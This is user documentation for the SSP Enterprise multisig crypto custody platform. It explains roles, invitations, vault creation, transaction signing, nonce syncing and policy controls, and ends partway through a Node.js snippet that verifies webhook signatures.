SSP Enterprise has four roles, in order of authority:

| Role       | What they can do                                                                                                              |
| ---------- | ----------------------------------------------------------------------------------------------------------------------------- |
| **Owner**  | Everything. Full control of the organization. Cannot be removed except via Transfer Ownership. Exactly one per organization.  |
| **Admin**  | Manage members (invite, remove, change roles), create vaults, configure policies. Cannot remove other Admins or the Owner.    |
| **Member** | Be designated as a vault signer, propose transactions, sign transactions assigned to them. Read-only on members and policies. |
| **Viewer** | Read-only across the organization. Sees vaults, balances, transactions, audit logs but cannot sign or change anything.        |

**Important:**

* Admins cannot demote or remove other Admins — only the Owner can.
* The Owner cannot be removed; ownership must be **transferred** first (see [Creating Your First Organization](/docs/ssp-enterprise/creating-organization#transferring-ownership)).

## Inviting by SSP Identity vs Email

You have two ways to identify the person you're inviting:

* **SSP Identity** — their unique cryptographic identity (starts with `bc1q...`). The most secure option, since the invitation is bound directly to their wallet. They must already have SSP Wallet + SSP Key set up.
* **Email** — their email address. Useful if you don't have their SSP Identity yet. They'll log in via Google or email + verification code, and accept the invitation. Their SSP Identity is bound when they accept.

If you know the person already uses SSP Wallet, prefer SSP Identity. If they're new to the ecosystem, use Email.

## Step 1 — Open Members or Invitations

From your organization, navigate to either:

* **Members** — see current members and invite new ones
* **Invitations** — see pending invitations and invite new ones

Both pages show the **Invite Member** button in the top right.

## Step 2 — Click "Invite Member"

A modal opens titled **Invite Member**.

## Step 3 — Choose how to invite

At the top of the modal, toggle between **Email** and **SSP Identity**.

### If Email

Enter the recipient's email address.

> They can sign in with Google or email to accept the invitation.

### If SSP Identity

Enter the recipient's SSP Identity (starts with `bc1q...`, minimum 10 characters).

> Enter the SSP Identity (starts with bc1q...)

## Step 4 — Pick a role

Select **Member** or **Viewer** from the role dropdown.

> **Note:** You cannot invite someone directly as **Admin**. Invite them as **Member** first, then promote them from the Members page after they accept. This is intentional — it gives you a chance to confirm their identity before granting elevated access.

## Step 5 — Add an optional message

Up to 500 characters. This message appears in the invitation email (for Email invites) and in the recipient's in-app notification. Use it to introduce the organization or explain why you're inviting them.

## Step 6 — Send

Click **Send Invitation**.

You'll see **Invitation sent successfully**. The modal closes and the invitation appears in the **Invitations** tab under "Pending" with:

* The recipient (email or SSP Identity)
* Their assigned role
* Expiry time

You can revoke a pending invitation at any time from the Invitations list.

## What the invitee sees

### If invited by SSP Identity

The invitee logs in to SSP Enterprise with their WK Identity and goes to **Notifications**. They'll see your invitation under the **Invitations** tab, showing:

* Organization name
* Inviter name
* Role they've been invited as
* Personal message (if you included one)

They click **Accept** or **Reject**.

### If invited by Email

The invitee receives an email with a link to SSP Enterprise. They sign in (via Google or email + verification code), and the invitation appears the same way under Notifications → Invitations.

If they're new to SSP Enterprise, they may need to set up SSP Wallet + SSP Key first. The invitation stays pending until they accept.

## Accepting

When the invitee clicks **Accept**:

* The invitation is consumed
* They're added to the organization with the assigned role
* They see **Joined "\[organization name]"**
* The org appears in their organization list and they can now access vaults and members per their role

## Rejecting

When the invitee clicks **Reject**:

* The invitation is removed
* They see **Invitation rejected**
* No record is created on your end (other than the audit log noting the rejection)

## Promoting and demoting

To change a member's role after they've joined:

1. Open **Members**
2. Find the member in the list
3. Click their role badge (or the **Edit** action)
4. Choose the new role

Constraints:

* Owners can promote anyone to Admin or demote Admins back to Member
* Admins can change Members and Viewers between those two roles (Member ↔ Viewer), but cannot promote anyone to Admin, nor modify other Admins or the Owner — only the Owner can grant or revoke Admin
* You can't demote yourself if doing so would leave the organization without an Admin

## Removing members

To remove a member:

1. Open **Members**
2. Find them in the list
3. Click **Remove**
4. Confirm — this is a **critical action** and requires WK re-signing (both SSP Wallet + SSP Key)

What happens on removal:

* The member loses access to the organization immediately
* They are removed as a designated signer from any vaults they were on
* Past signatures and audit log entries are preserved (members can leave, history cannot)
* If they were an active signer on a pending proposal, the proposal may need additional signers or to be cancelled and re-created

> **Important:** Removing a member who is a designated signer on existing vaults does **not** remove them from the on-chain multisig. The vault's signer set is fixed at creation. Removing them only revokes their access to the SSP Enterprise interface — they could in principle still sign proposals via direct relay if they had the technical means. For sensitive cases, plan to migrate funds to a new vault that excludes the removed member.

## Leaving an organization

A member who is not the Owner can leave at any time:

1. Open **Profile → Organizations**
2. Find the org and click **Leave**
3. Confirm

The Owner cannot leave — they must transfer ownership first.

## Next steps

* [**Create Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — now that you have members, set up vaults
* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — apply spending limits and approval rules


# Creating Multisig Vaults

A **vault** is an M-of-N multisig wallet on a single blockchain. Your organization can have many vaults across many chains — for example, an Ethereum operations vault (2-of-3), a Bitcoin reserve vault (3-of-5), and a Polygon payroll vault (2-of-4). Each vault has its own signers, threshold, balances, transaction history, and policies.

This guide walks you through the 5-step Create Vault wizard.

## Before you begin

* You must be an **Owner** or **Admin** of the organization
* The members you want as signers must already be in the organization with their SSP Wallet linked (they need to have logged in at least once)
* Decide:
  * Which **chain** the vault will operate on
  * Who the **signers** will be (this is permanent)
  * What the **signing threshold** should be (this is permanent)

## Critical: signers and threshold are permanent

Once a vault is created, you **cannot change**:

* The blockchain
* The signer set
* The signing threshold

You can change:

* The vault name and description
* Policies (spending limits, whitelists, etc.)

If your team changes (someone leaves, someone joins) and you need them on the vault's signer set, you'll need to **create a new vault** and migrate funds. Plan accordingly.

## Step 1 — Open Vaults and click "Create Vault"

From your organization, navigate to **Vaults** in the main nav, then click **Create Vault** in the top right.

The Create Vault wizard opens with 5 steps shown in a progress indicator: **Chain → Name → Signers → Threshold → Review**.

## Step 2 — Choose the chain

Subtitle: *Choose the blockchain network for this vault.*

You'll see a grid of supported chains:

**Mainnet:** Bitcoin, Ethereum, Litecoin, Dogecoin, Flux, Bitcoin Cash, Zcash, Ravencoin, BNB Smart Chain, Avalanche, Polygon, Base, Solana.

**Testnet:** Bitcoin Testnet, Bitcoin Signet, Sepolia (Ethereum testnet), Amoy (Polygon testnet), Flux Testnet, Solana Devnet — useful for trying things out without real funds.

Click a chain card to select it (it highlights in blue), then click **Next →**.

> **Tip:** Test on a testnet vault first if this is your first time. Bitcoin Signet and Sepolia are free, fast, and behave identically to mainnet.

## Step 3 — Name the vault

Subtitle: *Give your vault a descriptive name to identify it within your organization.*

* **Name** (required, 2–100 characters): e.g., `Treasury`, `Operations Fund`, `Q2 Payroll`
* **Description** (optional, up to 500 characters): explain what the vault is for

Click **Next →**.

## Step 4 — Select signers

Subtitle: *X of Y organization members are eligible (have their SSP Wallet linked).*

Only members who have logged in to SSP Enterprise at least once (so their SSP Wallet is linked) appear here. If a member you want isn't shown, ask them to log in first.

### Signing mode (if available)

Depending on your plan and the chain, you may see a signing mode selector:

* **Dual Signing** — each signer uses both their SSP Wallet and SSP Key (2 keys per signer). The default and most secure option.
* **Key Only Signing** — each signer uses only their SSP Key (1 key per signer). Allows more signers per vault.
* **Wallet Only Signing** — each signer uses only their SSP Wallet (1 key per signer). Allows more signers per vault.

Each mode shows the maximum number of signers allowed.

### Selecting signers

From the **Signers** dropdown, multi-select the members who will be on this vault. Each option shows their name, email (if available), truncated SSP Identity, and role badge.

You'll see live counters: e.g., **Signers (3/8)** — you've selected 3, max is 8.

> ⚠️ **Signers are permanent.** You cannot change the signer set after the vault is created. Make sure to include all members who should be able to sign transactions for this vault. Err on the side of including more signers — a larger pool lets you pick a more resilient ratio in the **next** step (e.g., 3-of-5 instead of 3-of-3). This choice is only available during creation: the signing threshold is fixed once the vault exists and cannot be changed afterward — to change it, create a new vault and migrate funds.

Click **Next →**.

## Step 5 — Set the signing threshold

Subtitle explains: *Set the number of signers required to approve each transaction.*

You'll see preset cards based on your signer count, plus a custom input.

### Common presets

* **Any signer (1-of-N)** — *Either member can authorize on their own. Fast but less secure.* Useful for low-value operational vaults where speed matters more than security.
* **Majority (e.g., 2-of-3, 3-of-5)** — *More than half must approve. The industry standard — secure yet tolerates \[N - majority] unavailable signers.* This is usually the right choice. Often marked **Recommended**.
* **All required (N-of-N)** — *Every signer must approve. If even one key is lost, funds will be permanently locked.* Strong security but **fragile**: any unavailable signer means the vault is frozen until they return.

For 3-of-3 or higher N-of-N setups, you'll see a red warning:

> **Risk of permanent fund loss.** With an N-of-N setup, every single signer must be available for every transaction. If even one member loses access to their key, all funds in this vault will be permanently unrecoverable. Consider using a majority threshold instead.

### Custom threshold

You can also type a custom number in the **Required Signers** field (between 1 and your signer count).

> ⚠️ **Threshold is permanent.** Choose carefully. The most common mistake is choosing a threshold so high that the vault becomes operationally fragile.

Click **Next →**.

## Step 6 — Review and create

The review screen shows:

* **Chain:** logo, name, symbol
* **Name:** what you entered
* **Multisig:** e.g., `2-of-3 signers (4-of-6 keys with Dual Signing)`
* **Signing Mode:** if not Dual
* **Signers:** bulleted list with name, identity, and role

A red warning reminds you:

> These settings are permanent. Once created, the blockchain, signers, and signing threshold cannot be modified. The vault name can be updated later.

If everything looks right, click **Create Vault**.

## What happens on create

The platform now coordinates with each designated signer to collect their **extended public key (xpub)** for the vault:

1. Each signer receives a notification on their SSP Wallet and SSP Key
2. Each signer approves the xpub generation request — their wallet and key derive a fresh xpub specifically for this vault (using the org index, vault index, and chain)
3. The platform combines all signers' xpubs into the multisig script
4. The vault address is derived deterministically from the combined xpubs

You'll see the vault status as **Pending Setup** during this process. Once all signers have contributed their xpub, the status changes to **Active** and the first vault address is displayed.

> **What this means cryptographically:** the vault address is a function of all signers' xpubs. No single signer (or even the platform) can derive the address alone. This is true self-custody — even if SSP Enterprise went offline tomorrow, your signers could recover the vault using their seed phrases and the public derivation paths.

## Receiving funds

Once the vault is **Active**:

1. Open the vault detail page
2. Click **Receive** (or navigate to **Addresses**)
3. Copy the vault's deposit address
4. Send funds to it from any external source

You can generate multiple receive addresses per vault (each one is also derived from all signers' xpubs).

## Archiving a vault

If you no longer need a vault:

1. Open **Vault → Settings → Archive Vault**
2. The action requires **WK re-signing** (a critical action)
3. Once archived, the vault is read-only — no new proposals, no new addresses
4. Existing balances and transaction history are preserved
5. Archived vaults don't count against your plan's vault limit

You cannot un-archive from the UI today; archiving is intended as a soft-delete for vaults that have been emptied and decommissioned.

## Next steps

* [**Proposing & Signing Transactions**](/docs/ssp-enterprise/transactions) — move funds out of your new vault
* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — set spending limits and whitelists for the vault


# Proposing & Signing Transactions

Transactions out of a multisig vault require collective approval. The flow is:

1. **Anyone with proposer rights** (Member, Admin, Owner who is also a vault signer) creates a **proposal**
2. **Designated signers** approve the proposal with their SSP Wallet + SSP Key
3. Once the **signing threshold** is reached (M of N), the transaction broadcasts to the blockchain

This guide walks you through both sides — creating a proposal and signing one.

## Part 1 — Create a Proposal

### Step 1 — Open the vault and click "New Proposal"

Navigate to **Vaults → \[your vault]** and click **New Proposal** in the top right.

The Create Proposal page opens.

### Step 2 — Add recipients

For each recipient:

* **Address** — type or paste the destination address. The field auto-suggests vault-owned addresses and saved contacts.
* **Amount** — how much to send (in the chain's native unit or selected token)

Click **+ Add Recipient** to send to multiple destinations in one transaction (useful for batch payouts; saves on fees).

Click the red **Delete** button on a row to remove it.

### Step 3 — Choose the source address

If your vault has multiple receive addresses with balances, select which **Source Address** to spend from. The dropdown shows each address with its label and balance.

For UTXO chains (Bitcoin, Litecoin, etc.), this determines which UTXOs are spent. For EVM chains, this is the smart account that will execute the transfer.

### Step 4 — (EVM only) Select token

If the vault is on an EVM chain (Ethereum, Polygon, BSC, Avalanche, Base), choose what to send:

* **Native token** (ETH, MATIC, BNB, AVAX, ETH on Base)
* Any **ERC-20 token** the vault is watching

The dropdown shows current balance for each option.

### Step 5 — Configure the fee

* **Auto Fee** (default) — the platform estimates the appropriate network fee. You'll see the estimate in native units and USD.
* **Manual Fee** — toggle on to override. For UTXO chains, set sat/byte. For EVM, set gas price and gas limit.
* **Max** — clicking the Max button sets the amount to the entire available balance, automatically subtracting the fee.

### Step 6 — Designate signers (optional)

By default, all vault signers can approve the proposal. If you want only specific signers to be requested:

* Check **Request from specific signers only**
* Select the signers you want notified

This is useful when you know certain signers are unavailable, or when policy requires a specific subset (e.g., always include the CFO on payroll).

On **EVM** vaults, the platform burns **two** signing nonces per designated signer at proposal creation — one from that signer's SSP Wallet and one from their SSP Key (single-device vaults burn one). EVM vaults require you to designate **exactly** the threshold number of signers (M of N), so you can't over-designate and waste nonces. On **UTXO** chains (Bitcoin, Litecoin, …) no signing nonces are consumed at proposal creation, and **Solana** uses a separate durable-nonce pool that is released if the proposal is rejected or expires. See [Why nonces matter](#why-nonces-matter) below.

### Step 7 — Review

Click **Review Proposal**. A confirmation modal shows:

* All recipients and amounts
* Total in USD (if exchange rate available)
* Estimated fee
* Vault and chain
* Designated signers

Verify everything carefully. On **EVM** vaults, once you create the proposal **the nonces are committed** — even rejecting or expiring the proposal won't return them. (UTXO vaults burn no nonces at creation; Solana releases its durable nonce if the proposal is rejected or expires.)

### Step 8 — Create and sign

Click **Create & Sign**.

* Your **SSP Wallet** prompts you to approve the proposal creation. Click **Approve**.
* Your **SSP Key** prompts on your phone. Approve.

On success, you see **Proposal created** and land on the proposal detail page.

## Part 2 — Sign a Proposal

### Step 1 — Find the proposal

You'll be notified in two ways:

* **In-app notification** — appears in **Notifications → Signing Requests**
* **On the vault detail page** — visible in the Proposals tab with a **Pending Signatures** badge

Click the proposal to open its detail page.

### Step 2 — Review the details

The proposal detail page shows:

* Vault name and chain
* All recipient addresses and amounts
* Total in USD
* Network fee
* **Signature progress bar** — e.g., `1 of 3 signatures collected`
* Status badge — `Pending Signatures` (orange), `Ready to Broadcast` (green), `Broadcast` (gray)
* List of signers with their signature status

Read carefully. Once you sign, you've cryptographically committed to this exact transaction. You cannot un-sign.

### Step 3 — Click "Sign Transaction"

If you're a designated signer and haven't yet signed, the **Sign Transaction** button is enabled.

* Your **SSP Wallet** opens with the full transaction details. Verify the recipient(s), amount(s), and fee match what's shown on the page. Click **Approve**.
* Your **SSP Key** prompts on your phone. Verify the same details, then approve with PIN/biometric.

On success:

* Your signature is added to the proposal
* The progress bar updates: e.g., `2 of 3 signatures collected`
* You see **Signature added**

### Step 4 — Wait for the threshold (or broadcast)

If the signing threshold is now met (e.g., 3 of 3), the status changes to **Ready to Broadcast** and a **Broadcast** button appears for any vault member. Click it to send the transaction to the blockchain.

If the threshold is not yet met, the proposal remains **Pending Signatures** until the remaining required signers approve.

### Step 5 — Confirmation

Once broadcast:

* The status changes to **Broadcast** then **Confirmed** as block confirmations come in
* A block explorer link appears (e.g., `View on Etherscan`)
* The transaction shows up in the vault's **Transactions** tab
* The vault balance updates

## Rejecting a proposal

If you don't agree with a proposal:

1. Open the proposal detail page
2. Click **Reject**
3. Sign the rejection with SSP Wallet + SSP Key (this is logged for audit)

Rejecting your own signature alone does not cancel the proposal — it just records your refusal. The proposal is cancelled when:

* Enough signers reject that the remaining signers cannot reach the threshold
* The proposer cancels it explicitly (if no one has signed yet)
* It expires 7 days after creation

> **Note:** Rejecting or letting a proposal expire **does not** return the burned nonces. If the proposal needs to be re-attempted, the proposer creates a new one and burns fresh nonces.

## Why nonces matter

For EVM chains (Ethereum, Polygon, BSC, Avalanche, Base), every signature requires a fresh cryptographic nonce — a one-time random value. Each signer's SSP Wallet and SSP Key maintain a local pool of pre-generated nonces synced with the platform.

When a proposal is created with designated signers, the platform **immediately burns one wallet nonce + one key nonce** for each designated signer. This is for cryptographic safety — nonces can never be reused without compromising the signature scheme.

Practical implications:

* **Designation is exact on EVM** — an M-of-N vault requires you to name exactly M signers, so the burn is always 2 × M nonces (or M in single-device mode); there's no way to over-designate and waste nonces
* **Failed signing burns nonces** — if a signer's wallet glitches mid-sign, the nonces are still spent
* **Cancelled or expired proposals burn nonces** — the burn happens at creation, not at completion
* **Nonce pools auto-replenish** — your wallet/key sync new nonces in the background; you'll rarely run out

If a signer's nonce pool is empty (rare), they'll see a sync prompt before they can sign. Wait for the pool to refill.

## Critical action signing — explained

Some operations are too sensitive to authorize via session cookies alone. They require **WK re-signing** — proving that you control both your SSP Wallet and SSP Key by signing a server-generated challenge.

Critical actions in SSP Enterprise:

* Transferring organization ownership
* Deleting an organization
* Removing a member
* Archiving a vault
* Changing your linked email

The flow:

1. You initiate the action (e.g., click **Remove Member**)
2. The server generates a challenge message: `<timestamp>:SSP_CRITICAL:<action>:<targetOrgId>:<targetWkIdentity>:<nonce>`
3. Your SSP Wallet and SSP Key prompt you to sign this challenge
4. The server verifies both signatures, confirms they match your WK Identity, and executes the action
5. The attempt (success or failure) is logged permanently in the audit trail

This prevents session hijacking attacks and guarantees that destructive actions are intentional.

## Audit trail

Every significant action — proposal created, signed, rejected, broadcast, member added/removed, vault created/archived, policy changed — is logged permanently. You can review the full history in:

* **Activity** (organization-level)
* **Vault → Activity** (vault-level)

Audit logs are append-only and never deleted, even when the related entity (member, vault) is removed.

## Next steps

* [**Configuring Policy Controls**](/docs/ssp-enterprise/policies) — add guardrails: spending limits, address whitelists, time-locks, admin approval thresholds


# Re-syncing Enterprise Signing Nonces

{% hint style="info" %}
**Signing nonces are one-time cryptographic values your devices use to co-sign EVM vault transactions — not funds.** Re-syncing them simply generates a fresh batch on your SSP Wallet and SSP Key. **No funds are moved.**
{% endhint %}

For EVM vaults, SSP pre-generates a pool of single-use signing nonces on **both** your SSP Wallet (browser extension) and your SSP Key (phone). When you replace a device, that device's nonces are gone, and the pool falls out of sync — so you re-generate them with one click.

## When you need this

* You **got a new phone** and restored your SSP Key on it.
* You **reinstalled or restored the SSP Wallet** extension on a new browser or computer.
* You see a **"Nonce Sync Required"** message, or a nonce error, when creating or signing a vault proposal.

{% hint style="info" %}
This only applies to **EVM vaults** (Ethereum and other EVM chains). **Bitcoin / UTXO** and **Solana** vaults don't use these nonces, so you never need to sync nonces for them.
{% endhint %}

## Before you start

* Your **SSP Wallet** browser extension is **installed, connected, and unlocked** — the Sync Nonces button works through the extension, so it must be open and unlocked.
* Your **SSP Key** phone app is restored and already re-paired with your wallet. If you just got a new phone, do that first: [Got a New Phone? Re-sync SSP Key with SSP Wallet](/docs/troubleshooting-and-support/resync-ssp-key-new-phone).
* **Both devices online.**

## How to sync your nonces

1. In **SSP Enterprise**, open your **Profile**.
2. Find the **Enterprise Signing Nonces** card and click **Sync Nonces**.
3. The **SSP Wallet** extension opens an **Enterprise Nonce Synchronisation** prompt. Click **Sync Nonces** there to confirm. (It reminds you: *"No funds will be moved."*)
4. The wallet regenerates its own nonces (*"Synchronising wallet nonces…"*), then waits for your phone (*"Waiting for SSP Key to sync nonces…"*).
5. **On your phone, open SSP Key.** A **Nonce Sync Request** appears — tap **Approve Request** and confirm with your password or biometrics.
6. Done. The wallet shows **"Wallet and Key nonces synchronised successfully!"** and SSP Enterprise confirms the sync.

{% hint style="success" %}
**One click syncs both devices.** Pressing **Sync Nonces** refreshes the nonces on your SSP Wallet **and** triggers the matching refresh on your SSP Key — you don't sync them separately.
{% endhint %}

## If a proposal says "Nonce Sync Required"

If signing a vault transaction fails because nonces are out of sync, the proposal page shows a **Nonce Sync Required** notice with a **Sync Nonces** button right there. Click it, approve on your phone (as above), then sign the proposal again.

## Good to know

* **No funds move.** Syncing only regenerates signing material; it never touches balances or sends a transaction.
* **The SSP Wallet extension must be installed and unlocked.** If it isn't detected you'll get a "wallet not detected" message; if it's locked, unlock it and try again.
* **A proposal created before you re-synced may need to be recreated.** If one specific pending proposal still can't be signed after syncing (e.g. *"No reserved nonces found for your identity. This proposal may need to be recreated."*), cancel that proposal, create it again, and sign the new one. This affects only that pending proposal — never your funds.
* **Nonces are single-use and managed for you.** The apps generate and consume them automatically; you never copy, reuse, or share nonce values yourself.

## Related pages

* [Got a New Phone? Re-sync SSP Key with SSP Wallet](/docs/troubleshooting-and-support/resync-ssp-key-new-phone)
* [Lost or Replaced a Device?](/docs/troubleshooting-and-support/lost-or-replaced-device)
* [Proposing & Signing Transactions](/docs/ssp-enterprise/transactions)
* [Common Issues & Solutions](/docs/troubleshooting-and-support/common-issues)


# Configuring Policy Controls

The **transaction policy engine** lets you constrain what vaults can do beyond the M-of-N signing threshold. Even if signers approve a transaction, the policy engine can block, delay, or escalate it based on rules you've defined.

Policies cascade in three tiers:

```
Organization defaults  →  Vault overrides  →  Per-signer overrides
```

The **stricter rule always wins**. If your organization sets a $50,000 daily limit and a specific vault sets $20,000, the effective limit is $20,000.

## When to use policies

* Limit how much a vault can move per day, week, or month
* Restrict where funds can be sent (whitelist of approved addresses)
* Add a delay between threshold-met and broadcast (lets you cancel suspicious transactions)
* Require an Admin to approve any transaction over a USD threshold
* Cap individual signers — junior staff get tighter limits than executives

## Where policies live

* **Organization → Policies** — defaults that apply to every vault in the org
* **Vault → Policies** — overrides for a single vault
* **Vault → Policies → Per-Signer Limits** — overrides for an individual signer on that vault

## Spending Limits

Set in USD. The platform converts to native token at current exchange rates when evaluating each transaction.

### Aggregate limits

* **Per Transaction** — max value of a single transaction
* **Daily** — rolling 24-hour cap
* **Weekly** — rolling 7-day cap
* **Monthly** — rolling 30-day cap

Leave any field blank to disable that specific limit.

> **Example:** Set Daily = $50,000 and Per Transaction = $25,000 to allow up to two large transactions per day, or many smaller ones up to the daily cap.

### Token-specific limits

In addition to USD aggregate caps, you can set per-token caps:

* Pick a token (BTC, ETH, USDC, etc.)
* Set its own daily / weekly / monthly cap

This is useful when you want different rules per asset (e.g., loose limits on a stablecoin you transact frequently, tight limits on a volatile asset).

### Live usage tracking

Each policy page shows current usage:

* Progress bars for daily / weekly / monthly spend as a percentage of the limit
* `$X of $Y USD spent this [period]`

When a proposal would exceed a limit, it's **blocked** at creation time — no nonces are burned, no signatures collected. The proposer sees a clear error explaining which limit was hit.

## Address Whitelist

The whitelist controls which destinations a vault can send funds to. Three modes:

* **Disabled** — no whitelist; any address can receive funds
* **Warning Mode** — whitelisted addresses are auto-approved; non-whitelisted require Admin approval before broadcast
* **Enabled (Strict)** — only whitelisted addresses can receive funds; everything else is blocked at proposal creation

### Adding addresses

1. Open **Policies → Address Whitelist**
2. Click **+ Add Address**
3. Enter:
   * **Address** (validated against the chain's format)
   * **Label** (optional, e.g., `Treasury Cold Storage`, `Payroll Gnosis Safe`, `Custodian Off-Ramp`)
4. Click **Add to Whitelist**

The address appears in the table with the label, who added it, and when.

### Removing addresses

Click **Delete** on the row, confirm. The whitelist updates immediately.

> **Tip:** Run in **Warning Mode** for the first few weeks to identify which addresses your team actually uses, then promote to **Strict Mode** once your whitelist is comprehensive.

## Time-Lock Delays

A time-lock adds a waiting period between when a proposal reaches its signing threshold and when it can be broadcast.

* **Threshold** (in seconds) — e.g., `3600` = 1 hour, `86400` = 24 hours
* **USD trigger** (optional) — only apply the delay to transactions above a certain amount

During the delay window:

* The proposal status is **Awaiting Time Lock**
* Only a **vault admin** — the org Owner, an org Admin, or a vault-level Admin — can **Cancel** the proposal during this window (no additional signing is needed to cancel). A plain **Member** or **Viewer** cannot cancel a time-locked proposal; the attempt is rejected with an authorization error. If a non-admin signer spots a suspicious transaction during the delay, they must immediately escalate to an Owner/Admin — who can Cancel it, or use **Emergency Freeze** (also Owner/Admin-only) to block the broadcast — before the timer expires.
* When the window closes, the **Broadcast** button becomes available

Use this for:

* High-value transactions where a 24-hour delay gives you time to detect and cancel an attack
* Treasury operations that require off-chain coordination (e.g., notifying a counterparty before broadcasting)

## Admin Approval

Require an Admin to approve any transaction above a configurable USD threshold, in addition to the regular signer threshold.

* **Threshold (USD)** — e.g., $100,000 — set to 0 to require Admin approval on every transaction
* When triggered, the proposal status becomes **Awaiting Admin Approval** after signers reach the M-of-N threshold
* An Admin must explicitly approve in the proposal detail page before broadcast

Use this when:

* You have a large signer set and want a final check from a smaller approval committee
* Your governance requires Board-level sign-off above certain amounts

## Per-Signer Spending Limits (Vault Policies)

On a vault, you can override the spending limits for individual signers. This is useful when:

* Junior team members should only be able to propose smaller transactions
* Executives need higher caps but you don't want to raise the vault-wide limit
* External contractors or partners need extremely tight caps

### Adding a per-signer override

1. Open **Vault → Policies → Per-Signer Limits**
2. Click **+ Add Signer Override**
3. Select the signer
4. Set their daily / weekly / monthly caps in USD
5. Click **Save Signer Policy**

The signer-specific caps override the vault-wide caps for that signer **only**, and only when they are the proposer of a transaction.

> **Important:** Per-signer limits apply to transactions the signer **proposes**, not to transactions they **co-sign**. A junior signer with a $5,000 daily cap can still co-sign a $50,000 transaction proposed by an executive, as long as the executive's cap allows it.

### Removing an override

Click **Delete** on the signer's row. The signer falls back to the vault-wide caps.

## Velocity tracking

The platform automatically tracks **rolling 30-day spending windows** at three levels:

* Per vault
* Per signer (on each vault)
* Per token

This data feeds the spending limit enforcement and is also visible in **Analytics** for your own monitoring.

## Emergency vault freeze

For incident response, Owners and Admins can **freeze** a vault, blocking all proposals until unfrozen.

1. Open **Vault → Settings → Emergency Freeze**
2. Click **Freeze Vault**
3. Sign with **SSP Wallet + SSP Key** (this is a critical action)
4. The vault status changes to **Frozen** — no new proposals can be created, no pending proposals can be signed or broadcast

To unfreeze: same flow, click **Unfreeze Vault** and sign.

Use this when:

* You suspect a signer's device has been compromised
* You're investigating an unusual transaction
* You need to pause all activity during a security review

Existing on-chain balances are unaffected — freeze only blocks the SSP Enterprise interface. The on-chain multisig itself remains intact.

## Policy hierarchy in practice

A worked example. Suppose:

* **Organization** — Daily limit $100,000, Whitelist: Warning Mode
* **Treasury Vault (override)** — Daily limit $50,000, Whitelist: Strict Mode, Admin Approval over $25,000
* **Junior Signer (override on Treasury Vault)** — Daily limit $5,000

When the junior signer proposes a $30,000 transaction from the Treasury Vault:

1. Junior's daily cap ($5,000) is checked first → **blocked at proposal creation**

When the junior signer proposes a $4,000 transaction from the Treasury Vault to a non-whitelisted address:

1. Junior's daily cap allows $4,000 ✅
2. Treasury Vault Strict Whitelist → **blocked at proposal creation** (address not whitelisted)

When an Admin proposes a $30,000 transaction from the Treasury Vault to a whitelisted address:

1. Admin has no per-signer cap, falls back to Treasury Vault $50,000 ✅
2. Whitelisted ✅
3. After signers reach M-of-N → status becomes **Awaiting Admin Approval** (because $30,000 > $25,000)
4. A separate Admin approves → broadcast

The stricter rule always wins, evaluated in order: per-signer → vault → organization.

## Next steps

* [**Inviting Team Members & Roles**](/docs/ssp-enterprise/inviting-members) — make sure roles are set right before relying on Admin Approval rules
* [**Creating Multisig Vaults**](/docs/ssp-enterprise/creating-vaults) — apply policies to specific vaults


# Webhook Notifications

SSP Enterprise can deliver vault-proposal lifecycle events to your own systems as **signed HTTP webhooks**. Use them to drive Slack/PagerDuty alerts, kick off CI pipelines, update an internal dashboard, or trigger your own approval reminders — without polling the app.

A webhook subscription is configured per organization under **Settings → Developers → Webhooks**. You provide an HTTPS URL and pick which event types you care about; SSP generates a **signing secret** (shown once) that you use to verify every delivery is genuinely from SSP and unmodified.

> **Webhook payloads never contain key material.** They carry only proposal metadata that is already visible to your team inside the app — vault name, chain, amount, recipient addresses, signature counts. No private keys, no signatures, no nonces, no xpubs, no witness scripts.

## Event types

Each subscription is fired for the event types you select:

| Event type                 | When it fires                                                          |
| -------------------------- | ---------------------------------------------------------------------- |
| `proposal.created`         | A new transaction proposal is created in a vault                       |
| `proposal.needs_signature` | A designated signer still needs to sign (sent to those not yet signed) |
| `proposal.executed`        | The threshold was met and the transaction was broadcast                |
| `proposal.rejected`        | The proposal was rejected and can no longer reach its threshold        |
| `proposal.failed`          | Broadcast or execution failed                                          |
| `proposal.expired`         | The proposal expired before reaching its threshold                     |

You can also scope a subscription to specific vaults, or leave it unscoped to receive events for every vault in the organization.

## The event envelope

Every delivery is an HTTP `POST` with a JSON body in this shape:

```json
{
  "id": "evt_a1b2c3d4e5f6",
  "type": "proposal.created",
  "createdAt": "2026-06-23T12:00:00Z",
  "organizationId": "...",
  "data": {
    "vaultId": "...",
    "vaultName": "Treasury — BTC",
    "proposalId": "...",
    "chain": "btc",
    "amount": "0.5 BTC",
    "status": "pending_signatures",
    "requiredSignatures": 2,
    "currentSignatures": 0,
    "recipients": [
      { "address": "bc1q...", "amount": "0.5 BTC" }
    ]
  }
}
```

The exact fields inside `data` vary slightly by event type (for example, `proposal.executed` includes the broadcast transaction id), but the top-level envelope — `id`, `type`, `createdAt`, `organizationId`, `data` — is always present.

## Verifying the signature

Every request carries a signature header so you can confirm it came from SSP and was not tampered with in transit:

```
SSP-Signature: t=<unixSeconds>,v1=<hexHmac>
SSP-Event-Id: evt_a1b2c3d4e5f6
SSP-Delivery-Attempt: 1
```

The `v1` value is computed as:

```
v1 = HMAC-SHA256(signingSecret, `${t}.${rawBody}`)
```

where:

* `signingSecret` is the secret SSP showed you once when you created the subscription,
* `t` is the `t=` value from the `SSP-Signature` header (Unix seconds),
* `rawBody` is the **exact raw request body bytes** — verify before any JSON parsing or re-serialization, since whitespace and key order changes will break the HMAC.

To verify a request:

1. Parse `t` and `v1` out of the `SSP-Signature` header.
2. Recompute `HMAC-SHA256(signingSecret, "${t}.${rawBody}")` and compare it to `v1` using a **constant-time** comparison.
3. Reject the request if `|now - t| > 5 minutes` (replay-tolerance window). This stops an attacker from re-playing an old, validly-signed request.

### Node.js

```js
const crypto = require('crypto');

// Mount this with a raw-body parser, e.g. express.raw({ type: 'application/json' }),
// so `rawBody` is the unmodified bytes SSP signed.
function verifySspWebhook(rawBody, signatureHeader, signingSecret) {
  const parts = Object.fromEntries(
    signatureHeader.split(',').map((kv) => kv.split('='))
  );
  const t = Number(parts.t);
  const v1 = parts.v1;
  if (!t || !v1) return false;

  // Replay tolerance: reject if the timestamp is more than 5 minutes off.
  const nowSecs = Math.floor(Date.now() / 1000);
  if (Math.abs(nowSecs - t) > 5 * 60) return false;

  const expected = crypto
    .createHmac('sha256', signingSecret)
